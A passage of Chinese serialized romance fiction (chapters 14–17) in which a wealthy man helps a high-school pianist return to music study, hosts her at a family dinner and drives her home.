男人神色淡漠地靠在驾驶位里,目光自她脸上一掠而过,不容置喙的语气:“去了就知道。”
他是标准的桃花眼,眼尾略弯向上翘,不知是确有其事还是她的错觉,这双眼睛看人的时候并没什么温度,总带着点审视。
上回因为酒吧演出的事被他训了两句,到底心有余悸。
她很少真的忌惮谁,但顾淮序面带愠色的样子的确让人有点发怵。
犹豫一瞬,最终还是拉开车门坐了进去。
车开上高架,一路往城南去。
宋司雾坐定片刻才开始琢磨,顾淮序怎么会知道她这会儿在南大。
思来想去,只有一个人有“嫌疑”——想必是连桐那天回去之后参了她一本。
不过也没什么可担心的,原本就是误会,要是顾淮序待会儿问到,她解释清楚也就是了。
茶室位于近郊的一隅园林,尺幅窗间,山水错落。
廊壁上挂着水墨工笔的名家书画,曲径通幽,漏而见实。
宋司雾跟在顾淮序身后,穿过半开放式的檐廊,由侍者引去内室。
檀木桌前茶雾氤氲,暗香浮动,在这阴雨天里极为相宜。
刚踏进门,就听到一个熟悉稳健的声音自里间传来。
宋司雾心中一凛,“孟老师?”
孟鉴清正坐在里间靠窗的位置翻财经报纸,见他们进来,摘下眼镜,笑盈盈唤她:“小雾来了。一眨眼都长这么大了,我记得上回见面你还在读初中,现在已经是大姑娘了。”
宋司雾垂下眼,费力地牵了牵唇角。
顾淮序将伴手礼奉上,藏品级的福元昌普洱,品相极佳。
孟鉴清皱起眉,低哼一声,“又整这些虚文。”
顾淮序笑一笑:“上回经过云南收的,没弄到多少,拿给您尝鲜。”
宋司雾看了一眼,几万块一斤的茶饼用手工薄棉纸包着,外头红字印着年份,落到顾淮序话里像是多平常的物件。
孟鉴清爱好品茶,与这座茶室的主人是旧友。
孟鉴清自从几年前定居南城后就时常过来小坐,这位旧友对中式园林颇为喜爱,特地选了此处为址修建茶室,也算是闹中取静。
闲聊两句,顾淮序也不兜圈子,开门见山地说明来意。
“孟教授,今天专门带她来,是为了考学的事。我知道您收徒标准极高,她算是您的关门弟子。
“您也清楚,她当年弃学是事出有因,既然事情已经过去,希望您不计前嫌,让她继续跟着您走专业路子。”
宋司雾一直默默听着,自打进门开始她就在思索顾淮序此行的目的,这下却是明白过来。
当年她被迫放弃音乐。后来为了还债,舅舅更是把家里钢琴都卖了。
这些年她自觉没脸再见老师,孟鉴清却还一直记得她。
孟鉴清听他说完,端起茶浅啜一口,问:“这是你的意思,还是小雾自己的意思?”
顾淮序直言:“是我的意思。”
孟鉴清点了点头,继续说道:“当初他们不让小雾接着学琴我就极力反对,她天赋很高,若不是半途而废,现在必有一番成就。”
孟鉴清轻叹一口气:“小雾这孩子是我看着长大的,她要是乐意把音乐捡起来,我心里自然一万个赞成。不过我把话说在前头,这条路倘若选了可没得反悔。”
旁人都道孟鉴清惜才,当初得知宋司雾不再学琴的消息时,他气得在家中骂了好几天,现下这样同顾淮序说,实是不忍她明珠暗投。
顾淮序明白他的用意,点了点头,郑重对孟鉴清说:“您放心。”
茶过三盏,孟鉴清晚上另有安排便先走一步。
外面雨已经停了,天彻底暗下来。
宋司雾跟着顾淮序去取车,走了一段,在他身后喊一声:“顾先生。”
顾淮序脚步一停,转过身,借着长廊处投下的灯光看她,“有什么话就说。”
宋司雾顿了顿,抬头迎上他的目光。
她瞳色偏浅,在暗处看有点琥珀的质感,清凌凌的,像是盛了一捧初冬的新雪。
“顾先生,据我所知,国内顶尖院校的钢琴专业每年招生名额不过二十个,从南城考进去的人更是屈指可数,大多来自音乐学院附中——我已经四年没有进行正规的器乐训练,现在距离艺考只剩不到三个月……”
顾淮序望着她,眸色渐深。
“你对自己没信心?”他截住她的话。
宋司雾默了一瞬,显然这不是真正的原因。
他目光在她脸上定了定,想起今天来之前孟鉴清在电话里不住口地赞她。
说小雾七岁时就能把巴赫十二平均律弹奏得滚瓜烂熟,这种顶好的苗子荒废了实在可惜。
这也是他今天带她来的原因。
“您没和我说,今天是来见孟老师。”宋司雾没有正面回答。
她声音沉静,似乎只是在陈述事实,没有刻意触犯的意思。
“您一贯这样么,凡事喜欢替别人做主。”极为平常的口吻,细品却有点夹枪带棒。
顾淮序也不恼,平心静气地反问她:“你不走专业道路,预备以后就在业余里充数?”
宋司雾一怔,这才反应过来他会到南城大学找她的缘故。
“我在南大排练的事,您都知道了?”
顾淮序淡淡道:“声势浩大,很难不知道。”
宋司雾抿住唇。
她很少关注社交软件,那条冲上微博热门的视频还是姜莱转给她看的。
她承认当初答应帮李寻编曲多少有点直情径行,作为交换,李寻找了间钢琴教室供她使用。
说不清是什么动机,或许是学到麻痹时,需要这样一个地方供她喘息。
“……所以您今天是特地来找我兴师问罪的?”
顾淮序一顿,蹙了蹙眉,他怎么就兴师问罪了。
面前的人唇线紧绷,眼尾微微泛红,定定地望着他,俨然一副控诉他的架势。
叫旁人瞧见,还以为是他没风度,欺负人家小姑娘,真坐实了这条“罪状”。
话说出口,宋司雾也觉得有些不妥。
他费心替她安排,亲自来请孟鉴清继续教她学艺,她却不买他的账。
顾淮序看着她,语气沉了两分,“学业上的资助可以接受,现在为什么不接受?”
“这不一样。”
“哪里不一样?”
宋司雾答不上来,或许是潜意识里,早就把和音乐有关的一切从她的生命中分割了出去,自我设立了一道泾渭分明的界线。
钢琴不属于她,舞台也不属于她。
沉默片刻,顾淮序说:“看来,是我看错人了。”
宋司雾心底一震。
“你的确很有天赋。但再有天赋,不好好把握也会被收回。”他声音渐冷,“现在机会摆在面前,怎么做,你自己选。”
宋司雾咬着唇,默不作声。
她并不是一个不配得感很高的人,她到底在别扭什么呢?
明明知道选择大于努力,也有过重拾音乐的念头,但在现实面前,梦想于她而言只是妄念。
何尝不知道这条路千难万难,但当机会真的摆在面前,所有的犹疑好像都变得微不足道。
“我没有那样想,专业还是业余之前都不在我的选择之内。”这是在回答他之前的那个问题。
一咬牙,还是说:“孟老师那儿的费用,算我欠您的。”
顾淮序微微挑眉,睨她一眼,“又要打借条?”
宋司雾顿了顿,想起上回送她手机时抵给他的借据,立即说:“如果您需要的话。”
顾淮序微一抬手,驳回她话的意思,“孟教授已经免除了你的学费,以后你就安心备考,其他的事情不用操心。你很聪明,能够利用的资源就充分利用,不要受外界干扰。”
宋司雾默了一瞬,无端想起西郊那天的事。
污言秽语实则攻击不到她,真正让她望而却步的是耽搁的这些年。
不管是音乐还是学业,她都被迫浪费了太多时间。
好在现在她多了些底气。
搜肠刮肚,似乎再找不出拒绝的理由。
静了片刻,顾淮序问她:“还有其他问题吗?”
宋司雾摇了摇头。
他不再看她,几步绕过车头,走到副驾驶座旁,拉开车门一手掌住。
“没有就上车。”
宋司雾一顿,看着为她掌门的那只手,冷白的手背蜿蜒青筋,力量感十足。
她自觉这样似乎不妥,但他语气中的催促意味明显,不由得拒绝,她还是坐了进去。
系好安全带,脊背贴上座椅,莫名有种落定之感。
从前只以为顾淮序是因为顾爷爷的嘱托才三番四次替她善后,没想过他会在这些事上为她考虑。
现下跳脱出原本的刻板印象来看,他身上一以贯之的安全感似乎与生俱来,大概无人能出其右。
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>车开了一段,她感觉有些不对劲。
胃里一阵刺痛,喉咙泛酸,大概是胃炎又犯了。
她在Z中那两年饮食不规律,饥一顿饱一顿,经常胃疼。
一开始全靠忍,实在扛不住会吃止疼片。
高二暑假在一家饭店端盘子,打烊后老板娘见她蹲在后厨地上疼得满头是汗,把她拎去了诊所。
医生说她年纪小,一般没什么大毛病,但经常胃疼,建议最好去医院做个胃镜。
普通胃镜一次三百,无痛的八百,医保可以报。
她既没钱也没医保,拿了两盒药就回去了。
她倒了两粒药片在手心。
察觉到顾淮序的目光,作势把药递过去,“维生素——顾先生要来一粒吗?”
她特地换了包装,白色的奥美拉唑肠溶片和两块钱一瓶的维生素片大同小异,一般人分不清。
以前她也是用这种方法在舅妈那儿蒙混过关的——吴晓岚不许她把钱花在这种不该花的地方。
顾淮序收回视线,没说什么,只是扶着方向盘,刻意把车速放缓。
这是照顾她在行车途中喝水服药。
宋司雾有时会感叹,顾淮序虽然有些古板龟毛,但的确是个极其细致周到的人。
她当着他的面把那两粒胃药咽了下去。
顾淮序问:“过敏症状都好了?”
“嗯,医生说是坚果过敏。”她看一眼顾淮序,“但我那天晚上好像没吃坚果类的东西。”
顾淮序目视前方,淡声道:“你点的那份沙拉里有榛子酱。”
宋司雾一顿,哦了一声,问了个之前就好奇的问题:“那家清吧是顾先生开的吗?”
“有一些股份。我和程是合伙人,经营主要是舒沁在管。”
安静片刻,顾淮序突然问:“你们那个乐队现在有几个人?”
“四个。”
“不是五个?”
“……我不算。”
他顿了顿,又问:“主唱叫什么?”
宋司雾愣了一下,回答说:“李寻。”
顾淮序点头,他有些印象。
高高瘦瘦的一个男生,黑衣狼尾,外形很符合这个年纪的少女会追捧的异性形象。
顾淮序很少关注娱乐圈,也知道近几年摇滚说唱这类小众领域正在慢慢走进大众视野,许多文学影视作品中更是不乏这类叛逆少年俘获少女芳心的桥段。
“我听舒沁说,已经有制作组联系他想买你们新歌的版权进行改编。那个制作组擅长爵士,和你们曲风相近。”
这事李寻和宋司雾提过,具体情况还要再和制作组谈,她只是惊讶顾淮序竟然听过那首歌。
“顾先生看了视频?”
“嗯。”顾淮序漫应一声。
宋司雾沉默了一会儿,说:“我以为您会反对我做这些。”
顾淮序睨她一眼,觉得几分可笑,他在她心里的形象是有多不近人情。
“你写歌既不犯法,也不违反公序良俗,我为什么要反对。”
宋司雾:“……”
话是这样说,但在旁人眼里,她做的事情对于一个高三学生而言总归有些不务正业。
更何况,就专业本身而言,流行音乐和古典乐在大众眼里根本不是一个档次。
宋司雾说:“阳春白雪和下里巴人我还是分得清的。”
顾淮序反问她:“你觉得音乐有高低贵贱之分吗?”
宋司雾没有正面回答,只说:“小时候看《海上钢琴师》,里面有一位自认为权威的黑人爵士钢琴家和1900比赛,他的音乐僵硬、充满欲望,不像1900有充沛的情感和生命力。尽管他的技法高超,但大家还是更喜欢1900的音乐。”
顾淮序淡淡开口:“既然如此,那就不要被外界的评判标准干扰。音乐的本质是情感共鸣,做好这一点,不管是阳春白雪还是下里巴人都不算浪费。”
宋司雾沉默半刻,没有作声。
除了孟老师,顾淮序是第二个在音乐上给予她支持的人。
事实上,他很符合一个循循善诱的长辈形象,父母离开之后,她已经很久没有体会过被人这样支持包容的感觉了。
她不由往身侧瞥了一眼,发觉顾淮序也在看她,目光说不清什么意味,短短对视一秒后,不出意外又给她泼了盆冷水,“别高兴得太早,孟教授恐怕不希望你太早地接触商业化作品。”
宋司雾点头,“我明白。”
任何艺术创作者太早受到商业化裹挟,都会逐渐失去灵气。
说完又想起件事,“顾爷爷知道我要艺考的事会不会不允?”
“孟教授都肯收你,他有什么理由不允。”
“万一……”
“没有万一。”
顾淮序打断她的假设,神色沉定,叫人不得不信服的口气:“有我在,放心。”
15. Chapter 15
她没有什么不放心的。
周一下午数学连堂,老师请假不在,课代表照吩咐发下来一套模拟卷,让大家当成考试随堂做完,下课就收。
刚交完卷子,宋司雾被班主任从后门叫出去,见到了顾淮序的助理,一个穿正装戴细框眼镜的年轻男人。
“宋小姐你好,我是顾总的助理林渊,你可以叫我林助。”
宋司雾点头,“你好。”她隐隐有些预感,“林助找我有什么事?”
林渊说他已经和教务处打过招呼,准许宋司雾在校的文化课暂缓,以后她不用每天来学校上课,接下来几个月就安心准备艺考。
宋司雾思忖片刻,说:“我想等期中结束之后再停课。”
“宋小姐是有什么顾虑吗?”
“这次期中是统一卷,会有全省排名。”
林渊点头,“明白,宋小姐放心,我会和顾总传达。”
“谢谢。”
“客气了。”林渊说,“顾总在学校附近安排了一间独立琴房,宋小姐平时可以去那儿练习。”
宋司雾微微一顿,没想到顾淮序动作这么快,琴房都帮她找好了。
林渊抬腕看表,“宋小姐方便的话,我现在带你过去看看?”
宋司雾点头,背上书包跟他一道出校门。
那地方她知道,是家很有名气的音乐工作室,钢琴都是自主品牌,状态很新,一般只对南城钢协成员免费开放。
她挑了一个三楼的房间,从窗口能看见外头巨大的槐树。
工作人员将钥匙交给她,以后这里就是她的专用琴房。
手搭上琴键,随意弹了一段旋律,宋司雾偏头看向站在门口的林渊,“林助觉得怎么样?”
林渊愣一下,笑说:“宋小姐问到我的盲区了,这方面我不太懂,单纯觉得好听,有些耳熟。”他应该是最近在哪儿听过。
宋司雾阖上琴盖,和林渊闲聊:“林助是顾先生的私人助理?”
林渊解释说:“不是的,我是总助,顾总没有私人助理。”
“这两个有区别吗?”
“总助的职责范围会更广一些。”
“薪资比私人助理高?”
林渊笑一笑,“相对事情也会更多。”
“也包括找琴房这种事吗?”宋司雾眸光沉静,缓慢地眨眼,“这算公事还是私事?”
知道她在开玩笑,久经职场的年轻人还不至于招架不住。
林渊报以微笑,回答无懈可击:“老板的事都是公事。”
自从决定参加艺考,宋司雾除了上课,以及每周去孟鉴清那儿报道,其余时间几乎都泡在琴房。
她给顾淮序发了短信道谢,依旧没有回复,大概是太忙没有看到,或者觉得这种小事根本不值一提。
十月末,夜风越来越凉,南城正式步入深秋。
每年这个时候开始都是流感高发季,气温一升一降,人就容易感冒,姜莱说她班上也有几个同学中招,每天戴口罩上课。
宋司雾因为不想被传染也是口罩不离身,去人多的地方都尽量戴着。
周六上午,她从学校坐地铁到城东,再打车去东郊。
丁姨在电话里说,连桐的父母周末回国,邀请宋司雾去老宅吃饭。
顾釉如早年在央美任教,如今空闲下来专心办个展,偶尔设计家居,顾家老宅里随处可见她的工笔。
顾釉如的先生连琮安,原是帝都人。
后来随她迁居南城,尽管如此,由于工作性质,夫妻俩一年有一半的时间都不在国内。
顾釉如人如其名。
老宅客厅的红木高几上搁着盆含苞的水仙,她着一身暗纹晕染织花旗袍站在那儿,腕上一只玻璃种帝王绿的翡翠手镯,长发在脑后绾成一个低发髻,气质清绝。
见到宋司雾时几分惊讶,脱口问:“你是冯绾的女儿?”
宋司雾一愣,点了下头,“是。”
“难怪有故人之姿。”顾釉如展颜,“我和冯绾是中学同窗,没想到今天还有这种缘分。”
小姑娘是很普通的打扮,上身圆领卫衣搭蓝色牛仔裤,头发一丝不苟地梳成马尾,露出饱满额头。
顾釉如见她穿着清淡简单,却难掩眉宇间的灵动标致,尤其是那双眼睛,简直和当年的冯绾一模一样。
这会儿连琮安正陪着老爷子在二楼下棋,顾釉如和宋司雾坐在客厅。
今天丁姨的孙女也来了,五六岁的小女孩梳着羊角辫,乖乖坐在小茶室里看绘本。
顾釉如拿出一本画册递给宋司雾,封面是一幅麦田秋景图。
她虽不懂油画,却也觉出作画人的笔触极有质感,不是名家也是大触。
顾釉如说:“这次回来得匆忙,没有专门准备礼物。这本随笔集是我和几位同僚共同创作的,在国内还未上市,刚刊印了几册样刊,你不介意的话就当是见面礼。”
自然没理由推辞,宋司雾认真收好,乖巧道:“谢谢顾阿姨。”
“我听阿序说,你现在跟着孟教授,说来也巧,他的钢琴也是孟老教的。”
宋司雾无端恍了一下神。
难怪他要她走回专业路子。
他当年自己既没走,想必后来已沦成他口中的“业余”了。
顾釉如和宋司雾聊了片刻,连桐就从楼上下来,说外公有幅名家的字找不到了,叫顾釉如去书房看看。
顾釉如轻轻拍了拍她手背,叫她小坐,又让连桐照看一下两位妹妹。
连桐面无表情地嗯了声,穿过客厅,看都没看宋司雾一眼,从冰箱里拿了听可乐,打开喝了一口,又顺手捞出一瓶酸奶,走到隔壁,递给正在看绘本的小女孩,然后直接上了楼。
室内安静下来,宋司雾一个人在客厅里站了会儿,窗外隐约有闷雷声响起。
空气湿冷,扰得她鼻腔里发痒,没忍住,捂住口鼻打了个喷嚏。
从空透隔断的小茶室里探出一个脑袋,“姐姐,你感冒了吗?”
宋司雾垂眸,看见一张粉雕玉琢的小脸凑了过来,还给她递了张纸巾。
“没有,谢谢你。”宋司雾接过,弯下腰问:“你叫什么名字?”
“我叫唐嘉怡,小名一一。”小女孩声音脆甜,“姐姐,你刚才在看什么呀?”
“没什么,我看外面下雨了。”
小女孩晃晃脑袋不理解,“下雨有什么好看的?我带了玩具,你要不要和我一起玩?”
老宅一楼的客厅连着院子,交界处搭了个四方的阳光房,也就是俗称的玻璃房。有窗户,带顶,专门用来放一些不耐寒却又得见光的花草,上回宋司雾帮忙培土的那株兰花就搁在里面。
后来一查才知道,那花叫素冠荷鼎,市面上极其少见,是莲瓣兰中的极品,一株价值八位数。
唐嘉怡牵着宋司雾进去,从上衣口袋里拿出“玩具”。
其实那不是玩具,准确地说是一只手工艺品,只有手掌大小,细看原是个精致的花篮,用透明珠子串的,看似简单,制作起来却
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很费功夫。
唐嘉怡把花篮捧在手心,“这是奶奶送我的生日礼物,好不好看?”
“嗯,很好看。”
“你喜欢的话,等你过生日的时候,我让她给你也做一个。”
宋司雾一顿,温声道:“不用了,我不过生日。”
唐嘉怡嘟起小嘴,“为什么,难道你不知道生日是哪天吗?”
“知道。”
“那为什么不过生日?”
宋司雾没有回答,蹲下拾起地上零星的落花,装进篮子里。
唐嘉怡学她,也蹲下一起捡花瓣。
“一一。”
身后忽地一道冷质的声音响起。
宋司雾回过头去,唐嘉怡同时噌地一下站起来,欢快地冲那人喊:“顾叔叔!”
顾淮序从客厅进来,烟灰衬衫搭黑西裤,外面罩一件黑色正肩羊绒大衣,松形鹤骨,挺拔颀长,清俊得过分。
外面下着雨,他似乎是没打伞就在雨中走,肩上沾湿了一片。
宋司雾有一瞬地怔忪,回神地同时站起来和他打招呼:“顾先生。”
顾淮序点了下头,算作回应。
唐嘉怡转头去看宋司雾,不解地问:“姐姐,你为什么这样叫顾叔叔啊,你们是第一次见吗?”
宋司雾一下被问住了,微张着唇没说话。
倒不是她刻意,平时当着顾家其他长辈的面都会喊顾淮序一句“叔叔”,只是私下的称谓用惯了,一时忘了改过来。
顾淮序似乎不甚在意,低头问唐嘉怡:“什么时候过来的?”
“今天早上!奶奶说顾阿姨和连叔叔回来了,还有一个漂亮姐姐会来。这周我们班好多小朋友得了流感,妈妈给我请假在家,我都快无聊死了,所以我就和奶奶一起来啦。”
顾淮序无可无不可地点了点头,瞥一眼宋司雾,注意到她箍在卫衣袖口上的一次性蓝色口罩,像是佩戴过后对折了随手套在上面的。
他收回目光,淡声交代:“快吃饭了,先去洗手。”
“好!”
唐嘉怡拉着宋司雾一道进了屋。
没多久,菜开始上桌,餐厅里几位长辈依次落座。
长方餐桌上,顾老爷子坐主位,左手边是顾釉如和连琮安父子。
宋司雾本想和丁姨或者唐嘉怡坐一起,却被顾釉如安排到对面,座位挨着顾淮序。
余光往身侧看了一眼,顾淮序已经脱了外套,袖口向上翻着,白色衬衫微微压出褶皱。
他神色很寡淡,眼底没什么情绪,以往每次来老宅吃饭似乎都是这样兴致缺缺。
丁姨知道宋司雾喜欢吃海鲜,特地把那道花胶黄鱼羹摆在她面前。
儿女孙辈皆在,顾宅这顿饭比平时更富生活气。
丁姨让大家先动筷,说还有一道蟹在蒸。
顾釉如感叹,说她和连琮安在国外被白人饭折磨得够呛,回来就惦记这一口,多亏丁姨想着。
丁姨说:“今天是阿序拿了两箱回来,阳澄湖的母蟹,个头蛮大,都在三两以上。”
顾釉如有些惊讶,去看顾淮序:“真是稀奇,去年喊你去太湖不去,怎么这阳澄湖的大闸蟹更好吃?”
顾淮序不疾不徐地开口:“单论品种而言,这种螃蟹不管是太湖还是阳澄湖的,味道应该都差不多。”
连琮安笑着接话:“我记得阿序不爱吃水产海鲜,什么时候也开始研究这个了?”
顾淮序淡声:“小孩子喜欢,拿给他们解馋。”
16. Chapter 16
在座真正能称得上是小孩子的只有唐嘉怡。
宋司雾一直安静地低头喝羹,顾家人之间的谈话她一般不会主动参与,但只要长辈递来话茬,她总能妥帖回应。
后来顾爷爷问起她的学习近况,她将月考名次如实相告,老爷子满意地点头,赞不绝口。
片刻,整笼蒸蟹上桌,雾气袅袅。
丁姨提醒一人只有两只,说是蟹性寒,不宜多食。
连桐嫌麻烦,让丁姨把自己那两只给他爸妈。
分到宋司雾的时候,她下意识先让给最小的唐嘉怡,没想到后者却摇摇头,“姐姐,我不吃螃蟹。”
宋司雾一顿,递蟹的手僵在半空。
丁姨忙说:“小雾你不用管她,她就知道挑食。”
唐嘉怡有点不服气地撇了撇嘴。
宋司雾弯唇说了句没事,将蟹放入自己的餐盘,解开绳子,若有所思地剥蟹壳。
一并上桌的还有壶黄酒,提前热过的。
另一壶是桂花米露,据说是丁姨自己酿的。
老爷子说黄酒性温,解腻解腥还能驱寒,用来佐餐最佳。
唐嘉怡太小,顾淮序下午赶飞机,顾釉如拿着分酒器看向宋司雾:“小雾要试试吗?”
老爷子拧眉,说小姑娘喝什么酒。
顾釉如笑道:“您不都说了这酒是用来驱寒的嘛,吃蟹就得配这个。”
宋司雾没拒绝,顾釉如便每样倒了一杯给她。
浅尝一口,黄酒味道很是浓郁。
可能是第一次喝不太适应,喉咙有些辛辣,她低下头咳了两声。
“慢点喝,这酒有度数。”
一道低润的声音自侧上方落下来。
顾淮序神色平淡,体贴小辈的口吻。
宋司雾点了点头,边吃蟹边喝了小半杯。
相比之下,桂花米露的味道就好接受多了。
入口柔和绵密,甜度也不算高,一杯酒不知不觉就被她喝得七七八八。
因为不好浪费,临下桌前她还是把剩下的另一小杯黄酒全部饮尽了。
吃完饭,大家挪去茶室闲聊打牌。
她自觉是外人不好逗留,便和顾爷爷说要先回学校。
顾釉如问她怎么走,顾淮序拎着大衣过来,说:“我送。”
顾釉如看了眼时间,“你几点的飞机?”
“不着急。”
顾淮序将钥匙递给宋司雾,叫她先去车上等,他去回个电话。
宋司雾手指勾着钥匙,轻轻晃了晃,黑银配色,上面有标志性的盾牌和跃马图案,没有多余的装饰挂件。
午后雨歇,她在副驾坐了一会儿觉得有些头晕气闷,用手背碰了碰自己脸颊,温度高得出奇。
后视镜里,顾淮序正朝这边走来。
男人拉开车门上车,把外套扔去后座,往宋司雾那儿瞥了一眼。
小姑娘皮肤透净,空山新雪一般,脸到脖子不似平日苍白,复现淡淡的蔷薇色,眼睛湿漉漉的,看他的目光几分游离失焦,诚然是有些醉了。
顾淮序蹙了蹙眉,去后备箱拿了瓶水扔到副驾。
宋司雾这会儿脑袋有点懵,又有点飘飘然,她第一次喝酒,原来微醺是这种感觉。
她捏着水瓶,眨了眨眼说:“我不渴。”
顾淮序重新坐进来,嗓音沉肃,多了两分不容置喙,“喝水加快酒精代谢。”
她妥协地拧开,瓶口往嘴边送。
顾淮序单手撑着方向盘,偏头看着她喝掉四分之一,下了句结论:“小小年纪,学会贪杯了。”
宋司雾旋紧瓶盖,有理有据地说:“顾先生冤枉我了,我一共也就喝了两杯而已。”
顾淮序目光移至她红得一塌糊涂的耳梢,在心底轻笑一声。
那螃蟹是程斯年专门弄来给自家私厨供货的,他留了两箱,今天带过来原是指望给她解馋,她倒好,边吃边把自己灌醉了。
这会儿还能跟他犟嘴,说明头脑还算清醒。
顾淮序说:“既然不会喝酒就不要开这个先例,下次直接说你酒精过敏。”
宋司雾愣了一瞬,“您是在教我撒谎?”
她脸颊泛红,唇角残留一点水渍,语气几分不可置信,比平日多了点少女的娇憨。
顾淮序收回目光,打过方向盘将车开出去,“喝酒脸红,说明你体内缺少乙醛脱氢酶。”
宋司雾撇了撇嘴,没忍住道:“量子纠缠、乙醛脱氢酶……顾先生平常也是这样指导下属的吗?”
她语气调侃,几乎脱口而出,看来是想说这话很久了。
顾淮序自认为没有过分说教,知道她听得懂这些概念,否则也不会在她面前提及。
他平声静气道:“这种事用不着我指导,公司不支持变味的酒桌文化。”
理智告诉他不能跟一个醉酒的小孩子计较,现在他倒是想继续听一听,她对他还有什么意见。
宋司雾脑袋昏昏沉沉的,懈力往后靠上椅背,想到什么便问:“那顾先生呢,拒绝喝酒的时候也会撒谎吗?”
“你觉得呢。”
“可能会,比如说自己感冒了在吃头孢?”
顾淮序瞥她一眼,小姑娘酒量不行,懂得倒多。
他说:“算是其中一个借口。”
宋司雾微不可察地提了提嘴角,原来顾淮序也会有口不应心的时候。
这感觉有点奇妙,像是窥见巨幅冰山露出海平面的一角。
经过路口,车在红灯前停下,顾淮序偏过脸,叫她把副驾储物格里的东西拿出来。
宋司雾依言,一只手探进去,摸到几个硬硬的小玩意儿。
“薄荷糖吗?”
拿出来一看,果然是糖果,只不过不是她上次晕车时他给她吃的薄荷糖,而是用来解酒的姜黄糖。
他竟然在车里备了这个东西。
她顺着包装纸咬开,把糖挤进嘴里,甜甜的辣辣的,味道新奇刺激。
“这个真的能解酒?”
她嘴里包着糖,说话咬字几分含糊不清。
顾淮序:“不能,但能缓解不适,吃了会好受些。”
宋司雾沉默一霎,“顾先生……也喝醉过?”
顾淮序淡嗯一声。
她含着糖,侧过脸看他。
“很难想象您喝醉的样子。”她实话实说。
顾淮序唇角微抬,似乎觉得她这话有趣:“你以为是什么样?”
“应该……还是很得体。”宋司雾努力寻找合适的词,“不会失态的那种。”
前方绿灯亮起,车子重新启动。
顾淮序目视前方,语气淡淡:“吐在实验室门口,算不算失态?”
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宋司雾怔住了,她想象不出那个画面,在她认知里,顾淮序永远是一副冷静自持的样子。
“后来呢?”她忍不住问。
“没有后来。”顾淮序说,“所以酒不是什么好东西,能免则免。”
宋司雾沉默地咬碎糖果。
她忽然意识到,这是顾淮序第一次跟她提起自己的私事,虽然只是一段无关紧要的醉酒经历,但好像让她离那个真正的顾淮序近了一点。
刚进市区,林渊打来电话,提醒顾淮序航班还有一小时起飞。
顾淮序:“你们先去候机室。”
那头响起机场广播的声音,宋司雾看一眼时间,从市区去机场至少需要半小时,这就是他所谓的“不着急”。
糖已经在嘴里化完了,过了路口,宋司雾说:“您在前面地铁站把我放下吧,我自己能回去。”
顾淮序淡声:“不差这点儿路。”
车开到学校附近,停在一棵悬铃木下,顾淮序从后座拿出一只纸袋给她。
宋司雾接过一看,里面装着抗病毒药和两瓶维生素片。
顾淮序交代:“最近流感高发,你在学校注意防护。如果身边有人确诊,48小时内吃奥司他韦预防。”
宋司雾脸上的热潮尚未褪去,大脑却已清醒了许多。
奥司他韦,她知道这药,以前换季,冯绾总会在她书包里塞上几粒。
她轻嗯一声,没头没尾地问:“一一妹妹也有吗?”
顾淮序说:“丁姨给你们都备了。”
她哦了一声,戴上口罩,跳下车。
悬铃木的叶子晃晃悠悠落在地上,新鲜的枯叶正好被她一脚踩中。
她回过头,右手扶着门框,曲了曲指尖,没忍住,还是问出口:“顾先生平常是不是不看短信?”
顾淮序说:“基本不看,垃圾讯息太多。”
“那微信呢?”
顾淮序略有深意地看她一眼,“会看,可能回复不及时,有事最好直接打电话。”
宋司雾点点头,轻摔上车门,“您快走吧,不然要误机了。”
她退后两步,抬起手臂挥了几下,转身走了。
时间是有点紧张,倒不至于误机。
候机时顾淮序习惯性浏览邮箱,在手机通讯录搜索栏里输入名字,找到宋司雾之前发来的两条短信。
一条是她出院那天,感谢他照顾一类的客气话。
另一条是昨天早晨六点,寥寥一句话,还配了张图。
「琴房自带伴奏,很适合练习,谢谢。」
随手拍的照片,带到一点窗框和黑白琴键,能看出是从三楼望出去的视角。
窗外一棵巨大的槐树,刚开始落叶,整体呈现黄绿渐变,树枝上落了两只珠颈斑鸠。
这种鸟俗称野鸽子,叫声独特,发音类似有节奏的“古咕固”,在南方地区很常见。
看完照片再去重读文字,屏幕前的人细不可察地浮了浮唇角。
果然是小孩子。
-
自习教室的书桌上,宋司雾的手机屏幕弹出一条微信消息。
冷色调头像,来自老电影里的某帧截图,微信名是简单的字母缩写。
新增的对话框里跟了一行字。
GHX:「我通过了你的朋友验证请求,现在我们可以开始聊天了」
17. Chapter 17
周日清晨,飞机落地南城机场,顾淮序靠在汽车椅背里,用力按了按眉心。
林渊自后视镜里看去一眼,本想问老板是否还要回公司,见顾淮序在闭目养神,便没作声。
本来他们昨晚就能到南城,但原定的航班因为雷暴天气一再推迟,最终取消,只好赶今晨最早一班飞机回来。
顾淮序的行程安排一向紧凑,昨晚开会加应酬,又在机场耗了几个小时,今天上午还要赶回公司参加一个业务交流会。
会议的形式有点像行业论坛,原不必顾淮序亲自去,但林渊了解自家老板,事必躬亲惯了,安排好的行程他一般不会缺席。
一小时后,车驶到公司附近。
距离大楼一百来米,坐在前排的林渊觑见公交站台上一道瘦弱的身影,几分眼熟。
女孩穿着黑色外套,侧身站着,帽子罩在头上,露出大半张脸,眉头微蹙,冲着马路尽头张望。
林渊看了几秒终于看清,“顾总,好像是宋小姐。”
外面雨势很大,噼里啪啦砸在窗户玻璃上。
顾淮序隔着朦胧的雨雾看出去,公交站台的顶棚只有两米宽,不足以遮挡滂沱,她几乎是站在雨中,全身被打湿大半。
他吩咐司机靠边停车,林渊撑开伞下去,穿过雨幕,几步跑到站台上,对着女孩说了几句话,又指了指身后的汽车。
顾淮序也从后排下来,司机拿出一把长柄黑伞替他执在头顶。
暴雨如注般浇在伞面上,发出巨大声响。
他拧着眉,走到女孩面前,声音硬得像冰,“你在这里做什么?”
宋司雾张了张口,因为雨声的关系,她说话声音都比平常大了些,“等公交。车坏了走不了。”
顾淮序朝她身后瞥了一眼。
站台下支了辆白色通勤单车,篮子里放着帆布包,车链已经断了,松松垮垮地拖在地上。
她仰着脸,额角的头发粘在皮肤上,外套和长裤都被洇湿,鞋子沾满水,模样相当狼狈。
估计是车骑到半路坏了,又碰上下雨,这才到站台临时避雨。
她真是有能耐。
才半天不见,就把自己弄成这样。
林渊立马查了一下路况,前面的路段因为积水封了,这条线的公交今天暂时停运。
宋司雾闻言,对顾淮序说:“顾先生,请借把伞给我。”
顾淮序蹙起眉,眼底几分不悦,“你要去哪儿?”
“到前面路口打车——去城际车站。”
南城占地六千多平方公里,城际列车是往返市区和城郊的重要交通工具。
顾氏集团大楼位于南城中心寸土寸金的地界,距离城际车站还有不少距离,现下公交停运,要过去只能开车。
“这么大雨你打不到车。”
顾淮序都这样说了,身为助理的林渊眼观鼻鼻观心,也不敢轻易将伞交出去。
